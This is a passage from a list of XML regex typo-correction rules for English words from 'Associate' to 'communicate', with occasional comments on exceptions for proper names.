<Typo word="Associate" find="\b([aA])s(?:oci|soi?c)ai?t(e[ds]?|i(?:ng|ons?))\b" replace="$1ssociat$2"/>
<Typo word="(Un)Assume" find="\b([aA]|[uU]na)s(?:s+umm|um)(e[ds]?|ing(?:ly)?|ptions?)\b" replace="$1ssum$2"/>
<Typo word="Astronomy" find="\b([aA])stonom(ers?|ic[a-z]*|y)\b" replace="$1stronom$2"/>
<Typo word="Asymmetric" find="\b([aA])s(?:sy|y)metr(ic[a-z]*|y)\b" replace="$1symmetr$2"/>
<Typo word="Atatürk" find="\bAtaturk\b" replace="Atatürk"/>
<Typo word="Atheist" find="\b([aA])thies(m|t(?:ic|s?))\b" replace="$1theis$2"/>
<Typo word="Atheistic" find="\b([aA])theistical\b" replace="$1theistic"/>
<Typo word="Athenian" find="\b([aA])thenean(s)?\b" replace="$1thenian$2"/>
<Typo word="Athlete" find="\b([aA])thelet(es?|ic[a-z]*)\b" replace="$1thlet$2"/>
<Typo word="Atlantic" find="\bAltantic\b(?![^\s\.]*\.\w)" replace="Atlantic"/><!--avoid domains-->
<Typo word="Atrocity" find="\b([aA])ttroci(ous[a-z]*|t(?:ies|y))\b" replace="$1troci$2"/>
<Typo word="Attaché" find="\b([aA])ttachee(s)?\b" replace="$1ttaché$2"/>
<Typo word="Attach" find="\b([aA])tt?atch(able|e[ds]|ing|ments?)?\b" replace="$1ttach$2"/>
<Typo word="Attempt" find="\b([aA])t(?:empt|tem[pt])(able|ed|ing|s?)\b" replace="$1ttempt$2"/>
<Typo word="Attendant" find="\b([aA])t(?:end[ae]|tende)n(ces?|ts?)\b" replace="$1ttendan$2"/>
<Typo word="(Un)Attend(ed/ing)" find="\b([aA]|[uU]na)t(?:end?|t+en)(ed|ing)\b" replace="$1ttend$2"/>
<Typo word="(In)Attention" find="\b([aA]|[iI]na)t(?:ent|tens)i(ons?|ve(?:ness)?)\b" replace="$1ttenti$2"/>
<Typo word="Attitude" find="\b([aA])t(?:it+u|tit(?:i|tu))d(es|inal[a-z]*|s)\b" replace="$1ttitud$2"/>
<Typo word="(Un)Attractive" find="\b([aA]|[uU]na)ttrative(ly|ness)?\b" replace="$1ttractive$2"/>
<Typo word="Audience" find="\b([aA])ude?ia?nce(s)?\b" replace="$1udience$2"/>
<Typo word="Australia" find="\b[aA]ustr(?:ail|ia?l|la?)i?a(ns?)?\b" replace="Australia$1"/>
<Typo word="Australasia" find="\b[aA]ustra(?:il|li)asia(ns?|s?)\b" replace="Australasia$1"/>
<Typo word="Author" find="\b([aA])utor(s)?\b(?<!Autor)" replace="$1uthor$2"/><!--avoid names Auther/s & Autor-->
<Typo word="author" find="\bauther(s)?\b" replace="author$1"/><!--avoid names Auther/Authers-->
<Typo word="(A/Ina/S)uspicious" find="\b([aA]|[iI]na|[sS])uspi[st]io(ns?|us(?:ly)?)\b" replace="$1uspicio$2"/>
<Typo word="Authoritative" find="\b([aA])(?:th|uth?r?)or[ai](?:t[ai])?tive([a-z]*)\b" replace="$1uthoritative$2"/>
<Typo word="Authorities" find="\b([aA])(?:thorit(?:e|hie|ier?)|ut(?:h(?:orit(?:e|hie|ier)|rorit(?:e|hie|ier?))|orit(?:e|hie|ier?)))s\b" replace="$1uthorities"/>
<Typo word="Authority" find="\b([aA])(?:thorith?|ut(?:h(?:orith|rorith?)|orith?))([a-z]+)\b(?<!Autorit(?:eit|ratto))" replace="$1uthorit$2"/>
<Typo word="Auto-da-fé" find="\b([aA])uto-da-fe\b" replace="$1uto-da-fé"/>
<Typo word="Autobiography" find="\b([aA])uthobiograph(i(?:c[a-z]*|es)|y)\b" replace="$1utobiograph$2"/>
<Typo word="Autochthonous" find="\b([aA])utoc(?:ht|th?)on(es|ism|ous(?:ly)?|[sy]?)\b" replace="$1utochthon$2"/>
<Typo word="Automobile" find="\b([aA])utomibil(es?|ing)\b" replace="$1utomobil$2"/>
<Typo word="Autonomous" find="\b([aA])uto(?:mo(?:m|n(?:om)?)|non)ous([a-z]*)\b" replace="$1utonomous$2"/>
<Typo word="Auxiliary" find="\b([aA])uxil(?:li?)?ar(ies|y)\b" replace="$1uxiliar$2"/>
<Typo word="Available" find="\b([aA]|[uU]na)vailalbe\b" replace="$1vailable"/>
<Typo word="(Un)Available" find="\b([aA]|[uU]na)v(?:ai?|i)(?:ai|ia?|l(?:ai|ia?)?)b([a-z]+)\b" replace="$1vailab$2"/>
<Typo word="Avalanche" find="\b([aA])valance(s)?\b" replace="$1valanch$2"/>
<Typo word="Average" find="\b([aA])v(?:ara?|er|ra?)g(e[ds]?|ing)\b" replace="$1verag$2"/>
<Typo word="Averaged" find="\b([aA])veragee([ds])\b" replace="$1verage$2"/>
<Typo word="Aviation" find="\b([aA])vai?t(ion|ors?)\b" replace="$1viat$2"/>
<Typo word="Await" find="\b([aA])wat(ed|ing|s)\b" replace="$1wait$2"/>
<Typo word="Award" find="\b([aA])war(ed|ing|s)\b" replace="$1ward$2"/>
<Typo word="Award-winning" find="\b([aA])ward[―–—\s]+winning\b" replace="$1ward-winning"/>
<Typo word="Awareness" find="\b([aA])war(?:enes|ne)ss+\b" replace="$1wareness"/>
<Typo word="Away" find="\b([aA])(?:wy|yw)a\b" replace="$1way"/>
<Typo word="Awkward" find="\b([aA])(?:ckw|kw|wk)ard(ly|ness)?\b" replace="$1wkward$2"/>
</source>
===B===
<source lang="xml">
<Typo word="Back" find="\b([bB])(?:akc|cak)(bo(?:ards?|ne[a-z]*)|d(?:at[a-z]*|oors?)|e(?:d|rs?)|fir[ei][a-z]*|h(?:and[a-z]*|oe?)|ing|l(?:ash|i(?:ght[a-z]*|t)|og[a-z]*)|pack[a-z]*|s(?:ides?|pin[a-z]*|tage)?|wa(?:rds?|sh)|yards?)?\b" replace="$1ack$2"/>
<Typo word="Background" find="\b([bB])ackgound\b" replace="$1ackground"/>
<Typo word="(B/M/S)adly" find="\b([bmsBMS])add+ly\b" replace="$1adly"/>
<Typo word="(Un)Balance" find="\b([bB]|[uU]nb)al(?:e|la)nc([a-z]+)\b(?<!Bal(?:enciaga|lanc(?:e|ourt))\b)" replace="$1alanc$2"/><!--avoid Ballance, Ballancourt, Balenciaga-->
<Typo word="Banana" find="\b([bB])an(?:an|na)na(s)?\b" replace="$1anana$2"/>
<Typo word="Bankrupt" find="\b([bB])an(?:krup|rupt)(c[a-z]+|ed|s?)\b" replace="$1ankrupt$2"/>
<Typo word="Barbiturate" find="\b([bB])arbituate(s)?\b" replace="$1arbiturate$2"/>
<Typo word="Battalion" find="\b([bB])at(?:al?|tal)lion(s)?\b" replace="$1attalion$2"/>
<Typo word="Beachhead" find="\b([bB])eachead(s)?\b" replace="$1eachhead$2"/>
<Typo word="Beat" find="\b([bB])eated\b" replace="$1eat"/>
<Typo word="Beautiful" find="\b([bB])e(?:a(?:t[iy]|uty)|ua?t[iy])full?(ly)?\b" replace="$1eautiful$2"/>
<Typo word="Beauty" find="\b([bB])eua?ty\b" replace="$1eauty"/>
<Typo word="Because" find="\b([bB])[ae](?:acuse|c(?:asue|[ce]ause|ouse|u(?:ase?|se)))\b" replace="$1ecause"/>
<Typo word="Become" find="\b([bB])eco(?:mm)?(es?|ing)\b" replace="$1ecom$2"/>
<Typo word="Beginner" find="\b([bB])eg(?:gin?|i)n(ers?|ings?)\b" replace="$1eginn$2"/>
<Typo word="Beginning" find="\b([bB])egin(?:inin|ni)g(s)?\b" replace="$1eginning$2"/>
<Typo word="Begins" find="\b([bB])eggin(n(?:ers?|ings?)|s)\b" replace="$1egin$2"/>
<Typo word="(Mis)Behavior" find="\b([bB]|[mM]isb)ehavoi?(r[a-z]*|ur[a-z]*)\b" replace="$1ehavio$2"/>
<Typo word="Beijing" find="\b[bB]ejing\b" replace="Beijing"/>
<Typo word="Being" find="\b([bB])eeing(s)?\b" replace="$1eing$2"/>
<Typo word="being" find="\bbeng\b" replace="being"/><!--avoid surname Beng-->
<Typo word="Beirut" find="\b[bB]ei?ruit\b" replace="Beirut"/>
<Typo word="Beleaguered" find="\b([bB])eleag[eu]r(ed)?\b" replace="$1eleaguer$2"/>
<Typo word="Belgium" find="\b[bB]eligum\b" replace="Belgium"/>
<Typo word="(Dis/Mis/Non/Un)Believ(ing/able)" find="\b([bB]|[dmDM]isb|[nN]onb|[uU]nb)ele?ie?ve(ab(?:ility|l[ey])|ing)\b" replace="$1eliev$2"/><!--to catch "e" after "v" with these endings-->
<Typo word="Belligerent" find="\b([bB])el(?:iger[ae]|ligera)n(ce|t(?:ly|s?))\b" replace="$1elligeren$2"/>
<Typo word="Bellwether" find="\b([bB])ellweather(s)?\b" replace="$1ellwether$2"/>
<Typo word="Beneficial" find="\b([bB])en(?:aficia|eficai?|ific(?:ai?|ia))([lr][aeilrsy]*)\b" replace="$1eneficia$2"/>
<Typo word="Benefit" find="\b([bB])en[ai]fit(s?|t[ei][a-z]+)\b" replace="$1enefit$2"/>
<Typo word="Benjamin" find="\b[bB]enajmin\b" replace="Benjamin"/>
<Typo word="Bernoulli" find="\b[bB]ernou(?:il)?li\b" replace="Bernoulli"/>
<Typo word="Bestiality" find="\b([bB])eastiali?ty\b" replace="$1estiality"/>
<Typo word="Between" find="\b([bB])e(?:t(?:[ew]en|weem)|wteen)\b" replace="$1etween"/>
<Typo word="Beyond" find="\b([bB])eyo(?:ng|und)\b" replace="$1eyond"/>
<Typo word="(B/M/Tr)illionaire" find="\b([bB]|[mM](?:ulti[bmBM])?|[tT]r)il+ioni?are([es]){0,4}\b" replace="$1illionaire$2"/>
<Typo word="Bizarre" find="\b([bB])iz(?:ar|zar+)e(ly)?\b(?<!Some Bizzare)" replace="$1izarre$2"/><!--allow [[Some Bizzare]]-->
<Typo word="Blame" find="\b([bB])laime?\b" replace="$1lame"/>
<Typo word="Blitzkrieg" find="\b([bB])lit[sz]kreig\b" replace="$1litzkrieg"/>
<Typo word="Bombardment" find="(?<!\b[dlDL]es?\s{1,9})\b([bB])ombar(?:de)?ment(s)?\b(?!\s{1,9}[dD]es?\b)" replace="$1ombardment$2"/><!--avoid French word bombardement by use of lookaround for French articles-->
<Typo word="Bombardement (French)" find="\b([bB])om[bd]ard?ment(s)?\b(?:(?=(?:\s+(?:[dD](?:es?|u)|e[nt]|qui))\b)|(?<=\b(?:[dD]es?\s{1,9}[bB]|[lL]es?\s{1,9}[bB])om[bd]ard?ments?))" replace="$1ombardement$2"/>
<Typo disabled="Bonanno" find="\b([bB])onnano\b" replace="$1onanno"/>
<Typo word="Boundary" find="\b([bB])o(?:nda?r|under)(ies|y)\b" replace="$1oundar$2"/>
<Typo word="Boxes" find="\b([bB])ox([ds])\b" replace="$1oxe$2"/>
<Typo word="Brazilian" find="\b[bB]ra(?:sil?|zil)lian(s)?\b(?<!Brasilian)" replace="Brazilian$1"/><!--avoid surname Brasilian-->
<Typo word="Breakthrough" find="\b([bB])reakt(?:h(?:ough|rought)|rough|t[hr]ough)(s)?\b" replace="$1reakthrough$2"/>
<Typo word="Brethren" find="\b([bB])rethe(?:re?)?n\b(?<!A(?:rthur|\.)\sBrethen|G\.A\.\sBrethen|H\.\sBrethen)(?!\sColiseum)" replace="$1rethren"/>
<Typo word="Brief" find="\b([bB])reif(e(?:[dr]|st)|ings?|ly|s?)\b" replace="$1rief$2"/>
<Typo word="Brillian(t/ce)" find="(?!\bBrillant\b)\b([bB])ril[il]an(c[ey]|t(?:ly)?)\b" replace="$1rillian$2"/><!--avoid surname Brillant-->
<Typo word="Brimstone" find="\b([bB])rimestone(s)?\b" replace="$1rimstone$2"/>
<Typo word="British" find="\b[bB]ritt+(anni[ac]|ish)\b" replace="Brit$1"/>
<Typo word="Brittany" find="\bBrit+anny\b" replace="Brittany"/>
<Typo word="Broadcast" find="\b([bB])r(?:a(?:d|od)|o(?:a(?:da)?|d))cast([a-z]*)\b" replace="$1roadcast$2"/>
<Typo word="Broadly" find="\b([bB])roadyl?\b(?<!\bBroady\b)" replace="$1roadly"/><!--avoid name Broady-->
<Typo word="Broke" find="\bborke([nr])?\b" replace="broke$1"/><!--avoid Borken (place) & Borke (name)-->
<Typo word="Buñuel" find="\bBunuel\b" replace="Buñuel"/>
<Typo word="(Re)Build (1)" find="\b([bB]|[rR]eb)ui([dt])l?(ings?|s?)\b" replace="$1uil$2$3"/>
<Typo word="(Re)Build (2)" find="\b([bB]|[rR]eb)(?:i(?:li?|ul)|uli?)(d(?:ings?|s?)|t)\b(?<!Bild|der Bilt)" replace="$1uil$2"/><!--avoid surnames Bild,\s* der Bilt variants-->
<Typo word="(Re/In/Pre/Up/Un/Over/Jerry)Built" find="\b([bB]|[iI]nb|[jJ]erryb|[oO]verb|[pP]reb|[rR]eb|[uU][np]b)uildt\b" replace="$1uilt"/>
<Typo word="Buoy" find="\b(B(?!ouy\b)|b)ouy(an(?:cy|t)|ed|s?)\b" replace="$1uoy$2"/><!--avoid place Bouy-->
<Typo word="Buoyant" find="\b([bB])(?:ou?y|uo)an(cy|t(?:ly)?)\b" replace="$1uoyan$2"/>
<Typo word="Bureaucrat" find="\b([bB])(?:eaur[ao]|ure?u?)cra([a-z]+)\b" replace="$1ureaucra$2"/>
<Typo word="Burglar" find="\b([bB])urg(?:le|ul[ae])r([a-z]*)\b" replace="$1urglar$2"/>
<Typo word="Burial" find="\b([bB])urri(als?|ed)\b" replace="$1uri$2"/>
</source>
===C===
<source lang="xml">
<Typo word="Caesar" find="\b[cC]easar(ean?s?|s?)\b" replace="Caesar$1"/>
<Typo word="Cafeteria" find="\b([cC])af[ai]teria(s)?\b" replace="$1afeteri$2"/>
<Typo word="(De)Caffeinate" find="\b([cC]|[dD]ec)af(?:ei|fi?e?)nat(e[ds]?|i(?:ng|on))\b" replace="$1affeinat$2"/>
<Typo word="Caisson" find="\b([cC])as+ion(s)?\b" replace="$1aisso$2"/>
<Typo word="(Mis/Re)Calculate" find="\b([cC]|[mM]isc|[rR]ec)a[clu]+u?[al]+t(?<!alculat)(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1alculat$2"/>
<Typo word="Calendar" find="\b([cC])alander(s)?\b(?<!Milt(?:on)?\s+Calander\b)" replace="$1alendar$2"/><!--avoid Milt Calander-->
<Typo word="Caliber" find="\b([cC])al(?:a|li)b(ers?|res?|rat(?:e[ds]?|i(?:ng|on)))\b(?<!Quintus Calaber)" replace="$1alib$2"/><!--avoid Quintus Calaber-->
<Typo word="Call(ed/ing)" find="\b([cC])al(ed|ing)\b" replace="$1all$2"/>
<Typo word="Calligraphy" find="\b([cC])aligraph(ers?|i(?:c|sts?)|y)\b" replace="$1alligraph$2"/>
<Typo word="Cambridge" find="\b[cC]ambrigd?e\b" replace="Cambridge"/>
<Typo word="Camouflage" find="\b([cC])am[ao]fla[du]?g(e[ds]?|ing)\b(?<!Camoflauge)" replace="$1amouflag$2"/><!--avoid Camoflauge (rapper)-->
<Typo word="Campaign" find="\b([cC])ampa(?:aig|gin|i(?:g|ng?))(e(?:d|rs?)|ing|s?)\b" replace="$1ampaign$2"/>
<Typo word="Can" find="\b([cC])na\b(?![^\s\.]*\.\w)" replace="$1an"/><!--avoid domains-->
<Typo word="Candidate (1)" find="\b([cC])and(?:adat|i(?:at|d(?:iat|ta)))(es?|ures?)\b" replace="$1andidat$2"/>
<Typo word="Candidate (2)" find="\b([cC])an[ai]da(c(?:ies|y)|t(?:ures?|e(?:s|\b(?<!Canidate))))\b" replace="$1andida$2"/><!--avoid rapper Canidate-->
<Typo word="Canister" find="\b([cC])annister(s)?\b" replace="$1aniste$2"/>
<Typo word="Cannot" find="\b([cC])a(?:nn)?not\b" replace="$1annot"/>
<Typo word="Cantaloupe" find="\b([cC])antalope(s)?\b" replace="$1antaloupe$2"/>
<Typo word="Capital" find="\b([cC])aptial(is[mt][a-z]*|s?)\b" replace="$1apital$2"/>
<Typo word="Capitalize" find="\b([cC])apitiliz([aei][a-z]*)\b" replace="$1apitaliz$2"/>
<Typo word="Captured" find="\b([cC])aptu[er]d\b" replace="$1aptured"/>
<Typo word="Carcass" find="\b([cC])arcas\b" replace="$1arcass"/>
<Typo word="Career" find="\b([cC])arree?r(\b(?<!Carrer)|s)\b" replace="$1areer$2"/><!--avoid name Carrer-->
<Typo word="Caribbean" find="\b[cC]ar(?:ab?|i|r[ai]b?)bean\b" replace="Caribbean"/>
<Typo word="Carmelite" find="\b[cC]armalite(s)?\b" replace="Carmelite$1"/>
<Typo word="Carthaginian" find="\b[cC]arthagian(s)?\b" replace="Carthaginian$1"/>
<Typo word="Cartilage" find="\b([cC])artil+(?:ad|[ei]d?)g(e|inous)\b" replace="$1artilag$2"/>
<Typo word="Cartography" find="\b([cC])art(?:a|ho)graph(ers?|ic|y)\b" replace="$1artograph$2"/>
<Typo word="Cartridge" find="\b([cC])art(?:drid?|ri)ge(s)?\b" replace="$1artridge$2"/>
<Typo word="Cassette" find="\b([cC])as(?:et?|se)te(s)?\b" replace="$1assette$2"/>
<Typo word="Cassowary" find="\b([cC])as(?:aw[ao]|owar?|s(?:aw[ao]|owar))r(ies|y)\b" replace="$1assowar$2"/>
<Typo word="Catapult" find="\b([cC])atapault(ed|ing|s?)\b" replace="$1atapult$2"/>
<Typo word="Catastrophes" find="\b([cC])atastrophies\b" replace="$1atastrophes"/>
<Typo word="Catechism" find="\b([cC])ath[ae]ch?is(ms?|t(?:ic|s?))\b" replace="$1atechis$2"/>
<Typo word="Category" find="\b([cC]|[sS]ubc)(?:at(?:ag|egi)|taeg)or([a-z]+)\b" replace="$1ategor$2"/>
<Typo word="Caterpillar" find="\b([cC])at(?:e(?:pil|rpi)|te(?:pil?|rpil?))lar(s)?\b" replace="$1aterpillar$2"/>
<Typo word="Catholic" find="\b([cC])ath(?:el[io]|lo|olo)c(ism|s?)\b" replace="$1atholic$2"/>
<Typo word="Caucasian" find="\b([cC])aucasion(s)?\b" replace="$1aucasian$2"/>
<Typo word="Caucuses" find="\b([cC])u?acuse([ds])\b" replace="$1aucuse$2"/>
<Typo word="Ceiling" find="\b([cC])i?eling(ed|s?)\b" replace="$1eiling$2"/>
<Typo word="Celebrity" find="\b([cC])eleb[ei]rt(ies|y)\b" replace="$1elebrit$2"/>
<Typo word="Celebr-" find="\b([cC])eleber(at(?:e[ds]?|i(?:ng|ons?)|ory)|it(?:ies|y))\b" replace="$1elebr$2"/>
<Typo word="Cellpadding" find="\b([cC])el(?:lpa|pad)d+ing(s)?\b" replace="$1ellpadding$2"/>
<Typo word="Celsius" find="\b(?:cel[cs]|Celc)ius\b" replace="Celsius"/>
<Typo word="Cemetery" find="\b([cC])emen?ta?re?(ies|y)\b" replace="$1emeter$2"/>
<Typo word="Censor" find="\b([cC])ensur(s)?\b" replace="$1ensor$2"/>
<Typo word="Census" find="\b([cC])encus\b" replace="$1ensus"/><!--avoid latin word sensus-->
<Typo word="(Cent|Mill)ipede" find="\b([cC]ent|[mM]ill)[ae]pede(s)?\b" replace="$1ipede$2"/>
<Typo word="Central" find="\b([cC])enteral(i(?:s(?:[aei][a-z]*|[mt]s?)|z[aei][a-z]*)|ly)?\b" replace="$1entral$2"/>
<Typo word="Century" find="\b([cC])ent(?:ru|ua)r?(i(?:es|ons?)|y)\b" replace="$1entur$2"/>
<Typo word="Ceremony" find="\b([cC])era?mon(i(?:al[a-z]*|es|ous[a-z]*)|y)\b" replace="$1eremon$2"/>
<Typo word="(Un)Ceremonious" find="\b([cC]|[uU]nc)er[io]mon(ies|i(?:al|ous)(?:ly)?|y)\b" replace="$1eremon$2"/>
<Typo word="César Franck" find="\bCesar\s+Franc?k\b" replace="César Franck"/>
<Typo word="Cézanne" find="\b[cC]ezanne\b" replace="Cézanne"/>
<Typo word="Challenge" find="\b([cC])hal(?:en|l(?:an|e))g(e(?:able|[ds]?|rs?)|ing)\b" replace="$1halleng$2"/>
<Typo word="Champagne" find="\b([cC])hampange\b" replace="$1hampagne"/>
<Typo word="Champion" find="\b([cC])hampoin([a-z]*)\b" replace="$1hampion$2"/>
<Typo word="Champs-Élysées" find="\b[cC]hamps-[eE]lysees\b" replace="Champs-Élysées"/>
<Typo word="Chancellor" find="\b([cC])hancel(?:[eo]|le)r(s(?:hip|ville)?)?\b" replace="$1hancellor$2"/>
<Typo word="(Inter/Un)Change" find="\b([cC]|[iI]nterc|[uU]nc)h(?:ane?g|nage)(s?\b(?<![cC]hangs?)|able|d)\b" replace="$1hange$2"/><!--avoid name Chang(s), chang-->
<Typo word="(Inter/Un/Ex/Re/Dis)Cha(n/r)geable" find="\b([cC]|[dD]isc|[eE]xc|[iI]nterc|[rR]ec|[uU]nc)ha([nr])g[aei]b(ility|l[ey][a-z]*)\b" replace="$1ha$2geab$3"/>
<Typo word="Character" find="\b([cC])(?:a(?:h(?:are?ct[aeo]|ract[aeo])|rach?t[aeo])|h(?:ar(?:a(?:c(?:hte|t[ao])|te)|ct[aeo]|ect[aeo])|r(?:a(?:c(?:hte|t[aeo])|te)|ct[aeo]|ecte)))r([a-z]*)\b(?<)" replace="$1haracter$2"/><!--avoid self & Latin-->
<Typo word="(Un)Characteristic(s/ally)" find="\b([cC]|[uU]nc)hara?(?:ct[eo]r|i|li|t[eo]r)s?i?s?i?ti?c(all?y|s?)\b(?<!(?:[cC]|[uU]nc)haracteristic(?:all?y|s?))" replace="$1haracteristic$2"/>
<Typo word="Chargé d'affaires" find="\b([cC])harg(?:e\s+d[´ˈ׳᾿‘’′Ꞌꞌ`']|é\s+(?:D[´ˈ׳᾿‘’′Ꞌꞌ`']|d[´ˈ׳᾿‘’′Ꞌꞌ`']))([aA])ffaires\b" replace="$1hargé d'$2ffaires"/>
<Typo word="Charisma" find="\b([cC])h?ar[ai]sma(tic(?:ally|s?))?\b(?<!Car(?:asmatic\b|isma\b))(?<![cC]harisma(?:tic(?:ally|s?))?\b)" replace="$1harisma$2"/><!--avoid Carisma or Carasmatic-->
<Typo word="Charitable" find="\b([cC])hartiable\b" replace="$1haritable"/>
<Typo word="Charles(ton)" find="\bChalres(ton)?\b" replace="Charles$1"/>
<Typo word="Chaser" find="\b([cC])hasr(s)?\b" replace="$1hase$2"/>
<Typo word="Chat" find="\b([cC])aht(s)?\b" replace="$1hat$2"/>
<Typo word="Check" find="\b([cC])hekc(ing|s?)\b" replace="$1heck$2"/>
<Typo word="Chemical" find="\b([cC])hemcial(ly|s?)\b" replace="$1hemical$2"/>
<Typo word="Chemist" find="\b([cC])hemest(ry|s?)\b" replace="$1hemist$2"/>
<Typo word="Chief" find="\b([cC])heif(doms?|ly|s(?:hips?)?|tains?)?\b" replace="$1hief$2"/>
<Typo word="Childbirth" find="\b([cC])hildbird\b" replace="$1hildbirth"/>
<Typo word="Children" find="\b([cC]|[gG]randc|[sS]tepc)hil(?:dere?|re)n\b" replace="$1hildren"/>
<Typo word="Children's" find="\b([cC]|[gG]randc|[sS]tepc)hild(?:er|re)ns(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s?)?\b" replace="$1hildren's"/>
<Typo word="Choreograph" find="\b([cC])horo?egraph(e(?:d|rs?)|i(?:es|ng)|[sy]?)\b" replace="$1horeograph$2"/>
<Typo word="Chorus" find="\b([cC])hrous(es|ing)?\b" replace="$1horus$2"/>
<Typo word="(Mis)Chosen" find="\b([cC]|[mM]isc)hoosen\b" replace="$1hosen"/>
<Typo word="Chronicle" find="\b([cC])hor?nicl(e(?:[ds]?|rs?)|ing)\b" replace="$1hronicl$2"/>
<Typo word="Church" find="\b([cC])(?:hr?u|ur)ch(es)?\b" replace="$1hurch$2"/>
<Typo word="Cigarette" find="\b([cC])ig(?:ar(?:e|ret?)|gar(?:et?|ret?))te(s)?\b" replace="$1igarette$2"/>
<Typo word="Circuit" find="\b([cC])(?:ir(?:cu|icui?|ui)|urcui)t([a-z]*)\b" replace="$1ircuit$2"/>
<Typo word="(Re)Circulation" find="\b([cC]|[rR]ec)irculaton(s)?\b" replace="$1irculation$2"/>
<Typo word="Circumcision" find="\b([cC])ircum(?:[cs]+ic|sc?i[cs])ion(s)?\b" replace="$1ircumcision$2"/>
<Typo word="Citrus" find="\b([cC])irt[iu]s\b" replace="$1itrus"/>
<Typo word="Civilian" find="\b([cC])ivillian(iz(?:ation|e[ds]?|ing)|s?)\b" replace="$1ivilian$2"/>
<Typo word="(Re)Claims" find="\b([cC]|[rR]ec)laimes\b" replace="$1laims"/>
<Typo word="Clarinet" find="\b([cC])larinette?(s)?\b(?<!\b(?:deux|pour)\s+clarinettes?)" replace="$1larinet$2"/><!--avoid pour clarinette-->
<Typo word="Class" find="\b([cC])las(e[ds]|ing|if(?:i[ce][a-z]*|y[a-z]*))\b(?<![cC]las(?:es?)?)\b" replace="$1lass$2"/><!--avoid (C\c)las(e/es)-->
<Typo word="Classic" find="\b([cC])lasic(al[a-z]*|i(?:s[mt]s?|z[ei][a-z]*)|s?)\b" replace="$1lassic$2"/>
<Typo word="Clear_" find="\b([cC])laer(e(?:[dr]|st)|ly)\b" replace="$1lear$2"/>
<Typo word="(Un)Clear" find="\b([cC]|[uU]nc)lera\b" replace="$1lear"/>
<Typo word="Coast" find="\b([cC])aost(ed|ing|s?)\b" replace="$1oast$2"/>
<Typo word="Cocktail" find="\b([cC])o[ck]tail(\b|s\b(?<!Coctails))" replace="$1ocktail$2"/><!--avoid "Coctails" (band)-->
<Typo word="Coffee" find="\b([cC])of[ef]e(houses?|pots?|s(?:hops?)?)?\b" replace="$1offee$2"/>
<Typo word="Coincide" find="\b([cC])o-incide([ds]?|nt(?:al(?:ly)?)?)\b" replace="$1oincide$2"/>
<Typo word="Collapse" find="\b([cC])oll(?:asp|pas)(e[ds]?|i(?:ble|ng))\b" replace="$1ollaps$2"/>
<Typo word="Collateral" find="\b([cC])olateral(iz(?:e[ds]?|ing)|ly)?\b" replace="$1ollateral$2"/>
<Typo word="Colleague" find="\b([cC])ol(?:ea|le)gue(s)?\b" replace="$1olleague$2"/>
<Typo word="* colleague" find="\bwork\s+colleague(s)?\b" replace="colleague$1"/><!--avoid "Work" to maintain sentence-case-->
<Typo word="(Re)Collection" find="\b([cC]|[rR]ec)ol(?:el?ct[aei]|lect[ae]?)(ons?|ve(?:ly|s?))\b" replace="$1ollecti$2"/>
<Typo word="Colonizer" find="\b([cC])oloni[sz]ator(s)?\b" replace="$1olonizer$2"/>
<Typo word="Colonnade" find="\b([cC])ol+onade(s)?\b" replace="$1olonnade$2"/>
<Typo word="Colony" find="\b([cC])ollon(i(?:es|z(?:ations?|e[ds]?))|y)\b" replace="$1olon$2"/>
<Typo word="Colossal" find="\b([cC])ol(?:los?|o)s(al(?:ly)?|us)\b" replace="$1oloss$2"/>
<Typo word="Column" find="\b([cC])olun?m+(\b(?<!Colum)|s\b)" replace="$1olumn$2"/><!--avoid name Colum-->
<Typo word="Contemp-" find="\b([cC])omtemp([a-z]+)\b" replace="$1ontemp$2"/>
<Typo word="Combination" find="\b([cC])omb(?:anatio|in(?:ati|tatio)|onatio)n(s)?\b" replace="$1ombination$2"/>
<Typo word="Combustion" find="\b([cC])ombusi(on|ve(?:ly)?)\b" replace="$1ombusti$2"/>
<Typo word="Comeback" find="\b([cC])omback(s)?\b" replace="$1omeback$2"/>
<Typo word="Comedic" find="\b([cC])ommedi(ans?|c)\b" replace="$1omedi$2"/>
<Typo word="(Un)Comfortable" find="\b([cC]|[uU]nc)o(?:mforti|nforta)bl([ey])\b" replace="$1omfortabl$2"/>
<Typo word="(-)Coming" find="(?<=\b(?:[A-Z][a-z]*c|[a-z]+c|[cC]))om[em]ing(s)?\b(?<!Commings)" replace="oming$1"/><!--avoid surname Commings; cheapened expensive beginning-->
<Typo word="Command(eer/o/ment)" find="\b([cC])om(?:and|madn)(e(?:d|er(?:ed|ing|s?)|rs?)|oe?s?\b(?<![cC]omandos?)|ments?)?\b" replace="$1ommand$2"/>
<!--avoid Spanish title C/omandos-->
<Typo word="Commemorate (1)" find="\b([cC])om(?:em+r?[eo]r[ai]t|me(?:m(?:er[ai]t|m+r[eo]r[ai]t|orit|r[eo]r[ai]t)|r(?:at|[eo]r[ai]t)))([a-z]+)\b(?<![cC]ommemorat[a-z]+\b)" replace="$1ommemorat$2"/><!--avoid self-->
<Typo word="Commemorate (2)" find="\b([cC])om+em+(?:er[ai]|ori)t(e[ds]?|i(?:ng|ons?|ves?))\b" replace="$1ommemorat$2"/>
<Typo word="Commercial" find="\b([cC])om(?:eri?|meri)ci?al(\b(?<!Comercial)|i[sz](?:ation|e[ds]?|ing)|is[mt]s?|ly|s)\b" replace="$1ommercial$2"/><!--avoid Comercial, common Spanish/Portuguese word-->
<Typo word="(De)Commission" find="\b([cC]|[dD]ec)om(?:is|m[is]?|s)sion(e(?:d|rs?)|ing|s?)\b" replace="$1ommission$2"/>
<Typo word="Commitment" find="\b([cC])om(?:it?|mit)tment(s)?\b" replace="$1ommitment$2"/>
<Typo word="Committ(ed/al)" find="\b([cC])om(?:itt?|mit)(e[de]s?|ing|al\b(?<![cC]omital))\b" replace="$1ommitt$2"/><!--avoid "comital"-->
<Typo word="Committee" find="\b([cC]|[sS]ubc)om(?:it[et]ee?|m(?:[ei]t(?:ee?|te)|itty))(m[ae]n|person|s?|wom[ae]n)\b" replace="$1ommittee$2"/>
<Typo word="Commodity" find="\b([cC])omod+it(ies|y)\b" replace="$1ommodit$2"/>
<Typo word="(Un)Common" find="\b([cC]|[uU]nc)omm(?:en|ong)(ali?t(?:ies|y)|ers?|ly|s?)\b(?<!Commens)" replace="$1ommon$2"/>
<Typo word="Commonwealth" find="\b([cC])om+onweath\b" replace="$1ommonwealth"/>
<Typo word="(Tele)communicate" find="\b([cC]|[tT]elec)omm(?:inic|u(?:i(?:c|n[ci])|nc?i))at(e[ds]?|i(?:ons?|ve(?:ly)?)|ors?)\b" replace="$1ommunicat$2"/>
